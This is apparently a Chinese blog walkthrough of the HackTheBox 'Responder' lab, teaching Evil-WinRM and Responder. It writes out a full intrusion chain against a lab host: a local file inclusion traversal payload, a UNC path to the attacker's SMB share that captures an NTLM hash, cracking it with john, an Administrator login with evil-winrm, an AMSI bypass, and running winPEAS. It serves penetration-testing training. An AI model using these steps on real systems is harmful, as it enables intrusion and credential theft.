通过htb靶场来熟悉Evil-winrm的使用
本文最后更新于 2024-07-29,文章内容可能已经过时。
通过htb的靶机来熟悉Evil-winRM的使用
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
参考原文链接:红队神器-Evil-Winrm详细使用指南
如果远程主机中启用了 Winrm 服务,则会联想到使用 evil-winrm 工具。 为了确认目标系统是否开启了winrm服务,我们可以使用 nmap 查找两个默认的 winrm 服务端口 5895 和 5896 是否打开。 从 nmap 扫描结果中,我们发现 winrm 服务已启用,因此我们可以使用 evil-winrm 工具进行登录并执行我们将在横向阶段探索的其他任务。
Responder与evil-winRM配合可以实现远程登录Windows
常常用于渗透测试中使用。
Responder
Responder 是一个用于网络安全的工具,主要用于捕获和分析网络中的身份验证请求。
响应 LLMNR、NBT-NS 和 MDNS 投毒者。 它将根据名称后缀回答特定的 NBT-NS(NetBIOS 名称服务)查询(请参阅:http://support.microsoft.com/kb/163409)。默认情况下,该工具将仅响应适用于 SMB 的文件服务器服务请求。
evil-winRM
Evil-winrm
是一款使用ruby 语言开发的开源工具。 该工具具有许多很酷的功能,包括使用纯文本密码远程登录、SSL 加密登录、 NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。该开发工具的作者不断更新工具并长期维护更新。 使用 evil-winrm,我们可以获得远程主机的 PowerShell命令终端会话。 该工具已在Kali Linux系统中集成,但如果您想单独下载使用,则可以从其官方 git 存储库下载它。
下载链接: https: //github.com/Hackplayers/evil-winrm
Evil-winrm
也是Windows远程管理(WinRM) Shell的终极版本。
Windows远程管理是WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。而微软将其包含在他们的系统中,是为了便于系统管理员在日常工作中,远程管理服务器,或通过脚本同时管理多台服务器,以提高他们的工作效率。
此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。因此,我们说它可用于黑客攻击的后利用/渗透测试阶段。相对于攻击者来说,这个程序能为他们提供更好更简单易用的功能。当然,系统管理员也可以将其用于合法目的,但其大部分功能都集中于黑客攻击/渗透测试。
安装:
方法一
sudo apt install evil-winrm
方法二:
git clone https://github.com/Hackplayers/evil-winrm.git
方法三:
gem install evil-winrm
使用:
首先查看帮助文档
root@kali:~# evil-winrm -h
Evil-WinRM shell v3.5
用法:evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r 领域] [--spn SPN_PREFIX] [-l]
-S, --ssl 启用 ssl
-c, --pub-key PUBLIC_KEY_PATH 公钥证书的本地路径
-k, --priv-key PRIVATE_KEY_PATH 私钥证书的本地路径
-r, --realm DOMAIN Kerberos auth,还必须使用此格式在 /etc/krb5.conf 文件中设置 -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Powershell 脚本本地路径
--spn SPN_PREFIX Kerberos 身份验证的 SPN 前缀(默认 HTTP)
-e, --executables EXES_PATH C# 可执行文件本地路径
-i, --ip IP 远程主机IP或主机名。 Kerberos 身份验证的 FQDN(必需)
-U, --url URL 远程 url 端点(默认 /wsman)
-u, --user USER 用户名(如果不使用 kerberos,则需要)
-p, --password PASS 密码
-H, --hash HASH NTHash
-P, --port PORT 远程主机端口(默认5985)
-V, --version 显示版本
-n, --no-colors 禁用颜色
-N, --no-rpath-completion 禁用远程路径完成
-l, --log 记录 WinRM 会话
-h, --help 显示此帮助消息
下面使用实际HTB的靶机来演示下Evil-winRM和Responder在渗透测试过程中的实际使用
Responder这台靶机是在hackthbox的starting-point靶场分类下的一台靶场,包括了ntlmhash、远程文件包含、远程代码执行、evil-winrm连接的使用。
Hack the box官网地址:https://app.hackthebox.com/
在右上角的Connections下载连接的文件,选择starting point
使用kali自带的openvpn使用下载下来的文件进行连接到htb
这里显示在内网ip段就表示连接成功
刷新浏览器界面,即可连接至hackthebox官网
在Mechines栏搜索Responder
找到靶机,点击SPAWN MACHINE即可开启靶机
随后会自动生成ip,可以在下面的框中输入回答问题,闯关
渗透步骤
信息搜集
首先查看能否ping通主机
nmap扫描
nmap -sV -O -p- -T4 10.129.144.130
#这里我实际运行起来超级慢(-T4还是快速扫描),建议只扫描常用的端口
可以看到nmap扫描的结果,靶机开启了80端口的Apache服务器,和5985端口
由于不知道具体域名,所以浏览器直接访问靶机ip,发现跳转到了unika.htb这个域名,应该是DNS无法解析到,修改kali目录下的解析使得kali能映射到域名地址。
修改/etc/hosts/
vi /etc/hosts
#添加一条
10.129.144.130 unika.htb
再次访问,映射成功,成功访问
对应的第一个问题:当使用 IP 地址访问 Web 服务时,我们被重定向到的域是什么?
使用插件查看网页构成,可以得到web服务器的框架是apche版本2.4.52,使用php写的,php版本8.1.1
对应的第二个问题:这脚本语言上正在使用的服务器生成的网页?
依次点击标题栏上的按钮,发现url没有变化,切换到其他语言的时候,页面重新加载,看到url上方出现了访问链接地址。
对应的第三个问题:用于加载不同语言版本网页的 URL 参数名称是什么?
尝试文件包含,htb界面提示了文件上传漏洞,所以这里进行尝试文件包含
漏洞利用
测试一下访问靶机的hosts文件,由于之间知道了靶机的是windows系统,所以这里的路径应该是
/windows/system32/drivers/etc/hosts
在测试的url前面加很多的…/,尽量多加来实现目录穿越
成功读取到hosts文件内容,确定有文件包含漏洞。
对应的第四个问题:
以下哪个“page”参数值是利用本地文件包含 (LFI) 漏洞的示例:“french.html”、“//10.10.14.6/somefile”、“../../. ./../../../../../windows/system32/drivers/etc/hosts”,“minikatz.exe”
测试是否存在远程文件包含,打开responder捕获smb信息,通过让它来访问本机来获取NTLMhash
这里我直接使用靶机存在网段的网卡来开启
sudo responder -I tun0
#tun0是网卡名称
访问共享目录://10.10.16.46/testShare
成功抓取到目标主机的NTLM hash值,复制下来,存到一个文件中,使用john工具进行爆破
john -w=/usr/share/wordlists/rockyou.txt hash
#这里的rockyou.txt是常用的爆破字典,如果没有可以使用
这条命令:sudo gunzip /usr/share/wordlists/rockyou.txt.gz
进行解压后使用
得出了账户Administrator
和密码badminton
使用evil-winrm
工具指定ip,账号密码进行连接。可以看到连接成功。
evil-winrm -i 10.129.144.130 -u Administrator -p badminton
最终在C:\Users\mike\Desktop这个目录下找到了flag文件
flag:ea81b7afddd03efaa0945333ed147fac
其他尝试,尝试上传文件至靶机目录:
(我这里把刚刚保存的hash文件上传至目标主机)(由于靶机中不能输中文的缘故,最好先把要上传的文件移动到没有中文的路径下)
upload /root/tools/hash .
#这里的.代表上传到当前目录下
使用 Evil-winrm 进行服务查询
有时后渗透测试工具,无法检测到目标系统中运行的服务名称。 在这种情况下,我们可以使用 evil-winrm 来查找目标系统中运行的服务名称。 为此,我们可以再次转到菜单并使用服务功能。 它将列出所有运行程序主机的服务。
menu
services
可以看到列出了所有运行在程序主机的服务。
使用Evil-winrm运行可执行文件
此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难,我们不能将其放到命令行中。 在这种情况下,我们希望能够在 evil-winrm 会话中运行 exe 可执行文件。 假设我们有一个要在目标系统中运行的可执行文件。
(这里的PEASx64是用来检测漏洞的脚本文件,同样有linux的linpeas,git仓库地址:https://github.com/sponsors/carlospolop)
Hackplayers 团队再次设计了该工具并添加了一个额外的功能,可以在 evil-winrm PowerShell 会话中运行所有可执行文件。 同样,我们可以使用 -e 参数来执行 exe 可执行二进制文件。
在下面的示例中,其中 WinPEAS.exe 可执行文件存储在本地计算机(kali1的) /opt/privsc目录中,并使用 附加功能( evil-winrm 菜单中的Invoke-Binary命令 )来运行它。 此功能允许我们执行在命令行 shell 中运行的任何 exe 二进制文件。
evil-winrm -i 10.129.144.130 -u administrator -p badminton -e /root/tools
Bypass-4MSI
menu
Invoke-Binary /root/tools/winPEASx64.exe
一旦我们设置了可执行文件路径,我们就可以使用我们希望在目标系统中运行的任何可执行文件。 在下面的示例中,我们调用 WinPEASx64.exe 并使用 evil-winrm 将其运行到目标系统中。
总结
nmap搜集信息,扫描网段,获取ip信息,修改ip地址到DNS解析映射到域名地址,发现在页面的语言页面中发现文件包含漏洞,成功读取hosts文件内容,
用responder测试有远程包含漏洞,使用responder结合靶机远程代码执行访问共享目录,获取靶机NTLM hash,
使用john工具破解hash得到靶机用户名和密码。
使用Evil-winrm进行登录,查询服务,运行可执行文件寻找漏洞。
最后在C:\Users\mike\Desktop这个目录下找到了flag文件
- 感谢你赐予我前进的力量